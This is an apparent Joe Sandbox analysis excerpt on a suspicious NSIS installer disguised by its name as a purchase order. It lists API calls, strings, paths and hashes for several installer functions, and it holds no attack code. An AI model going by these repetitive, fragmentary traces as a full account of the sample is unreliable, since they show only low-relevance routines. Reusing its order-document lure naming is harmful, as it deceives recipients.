Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-2838533473
Opcode ID: 48d0b30a573a01b2c2b1968d3d6d53f6fa88bda45e86464b42b605cd2148996d
Instruction ID: fe9ef23653e85685a193ad9c5457c4b2e55d644b791d7b95544962d8ab1ad500
Opcode Fuzzy Hash: 48d0b30a573a01b2c2b1968d3d6d53f6fa88bda45e86464b42b605cd2148996d
Instruction Fuzzy Hash: CC51F471941214AFEB119F65DE89B9E7BA8EF04364F14803BF904B62D1D7BC8D408BAD

Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405D0C: lstrcpynA.KERNEL32(?,?,00000400,0040319A,Regangen Setup,NSIS Error), ref: 00405D19

Part of subcall function 00404F25: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes, xrefs: 0040177E
C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll, xrefs: 0040181E, 0040183A
C:\Users\user\AppData\Local\Temp\nsq8002.tmp, xrefs: 0040179B, 0040180A, 00401828
Call, xrefs: 0040176D, 00401776, 00401783, 00401795, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsq8002.tmp$C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes$Call
API String ID: 1941528284-522038915
Opcode ID: 5963c7d106c76f5ca0071d1a776a8225d19f187018aad275a070e7a80bf2da84
Instruction ID: e334bcbcf7859558867c6a38b10ffbeddee8f855bc543c6a7f27992f07fd6e89
Opcode Fuzzy Hash: 5963c7d106c76f5ca0071d1a776a8225d19f187018aad275a070e7a80bf2da84
Instruction Fuzzy Hash: 4B41C672900519BADB107BA5CC45DAF7AB9DF46329B20C33BF021B20E1C67C4A419A5D

Function 00404F25 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0), ref: 00404F81
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll), ref: 00404F93
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll, xrefs: 00404F45, 00404F57, 00404F5D, 00404F80, 00404F8C

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll
API String ID: 2531174081-16754438
Opcode ID: 8aca45e27811aa21f79b642ec133e9ff2e42e250cada4605035ec104fac27bf5
Instruction ID: b1dc6bec94ba42b715134808c0c3c35089c42976f802e7ea77bea70e7b84fba8
Opcode Fuzzy Hash: 8aca45e27811aa21f79b642ec133e9ff2e42e250cada4605035ec104fac27bf5
Instruction Fuzzy Hash: 1F21817190011DBFDF119FA5DD449DEBFA9EF45354F04807AFA04A6291C7388E409BA8

Function 004053EB Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040542E
GetLastError.KERNEL32 ref: 00405442
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405457
GetLastError.KERNEL32 ref: 00405461

Strings

ds@, xrefs: 00405420
C:\Users\user\Desktop, xrefs: 004053EB
ts@, xrefs: 004053F1
C:\Users\user\AppData\Local\Temp\, xrefs: 00405411

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-4250707527
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 8acfd36fb30660db29d177a8be8d7647adb8d58efdd4f3c758bfd1505ce0b010
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: CF010871D14259EADF119FA4D9447EFBFB8EF04315F004176E904B6290D378A644CFAA

Function 00406037 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040604E
wsprintfA.USER32 ref: 00406087
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 0040609B

Strings

%s%s.dll, xrefs: 00406081
\, xrefs: 0040605F
UXTHEME, xrefs: 00406040

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: 17439860729f5247506b6fa79cc71e4dc0dc9fec6db89644704a68070b9bc3a3
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: BAF0F630A40209ABEB14EB78DC0DFEB365CAB08305F14017AB547F11D2EA78E8258B69

Function 00402E9F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F06
GetTickCount.KERNEL32 ref: 00402F8A
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402FB3
wsprintfA.USER32 ref: 00402FC3

Strings

... %d%%, xrefs: 00402FBD

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 64d2ce798d2dc69bad610a2ea0e87ea1e6662520605f5bed10a59724df5d2c56
Instruction ID: 2f6adf6c827ed57ff932280c4bcb171559557b12de80228d6f8143075edc11b6
Opcode Fuzzy Hash: 64d2ce798d2dc69bad610a2ea0e87ea1e6662520605f5bed10a59724df5d2c56
Instruction Fuzzy Hash: 5D519E7280221AABDB10DF65DA44A9F7BB8AF00755F14417BFD10B32C4C7788E51DBAA

Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023A2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023FB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024D8

Strings

C:\Users\user\AppData\Local\Temp\nsq8002.tmp, xrefs: 004023B3, 004023D5, 004023E5, 004023F0

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsq8002.tmp
API String ID: 1356686001-2063696683
Opcode ID: d74034fd92c64aa2ed621a3478c433a983ffe71421c626bffd0a4e4897772b2d
Instruction ID: 90de9cbbb944b5ce7c16acb051fe3e73370ea29dc9d439d86f68b9f38bc34e97
Opcode Fuzzy Hash: d74034fd92c64aa2ed621a3478c433a983ffe71421c626bffd0a4e4897772b2d
Instruction Fuzzy Hash: 04117572E00108BFEB10AFA4EE89EAF767DEB54358F10403AF505B61D1D6B85D419B28

Function 004059AE Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004059C2
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004059DC

Strings

nsa, xrefs: 004059B9
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 004059AE
C:\Users\user\AppData\Local\Temp\, xrefs: 004059B1

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3704756738
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: 14833181556f01f8699e9ecebe408800633a5ab51cc0013a882439dab00eebba
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction Fuzzy Hash: 2AF0E232708204ABEB109F15EC04B9B7B9CDF91720F00C03BFA049A181D2B598448B58

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60

Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401FBB

Part of subcall function 00404F25: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: bfae0568c449fe0c54a0939f3ae7a6896df299a99818b1744bd7ec33484920ac
Instruction ID: a6d6138a22214a2ec3127db012fcbe8ccdb9873b287714200ab65a7954d0c462
Opcode Fuzzy Hash: bfae0568c449fe0c54a0939f3ae7a6896df299a99818b1744bd7ec33484920ac
Instruction Fuzzy Hash: 93212B72904211EBDF217F648E4DAAE76B1AB45318F30423BF311B62D1C7BC4941DA6E

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405817: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,?,00405883,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,75573410,?,C:\Users\user\AppData\Local\Temp\,004055CE,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405825
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040582A
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040583E

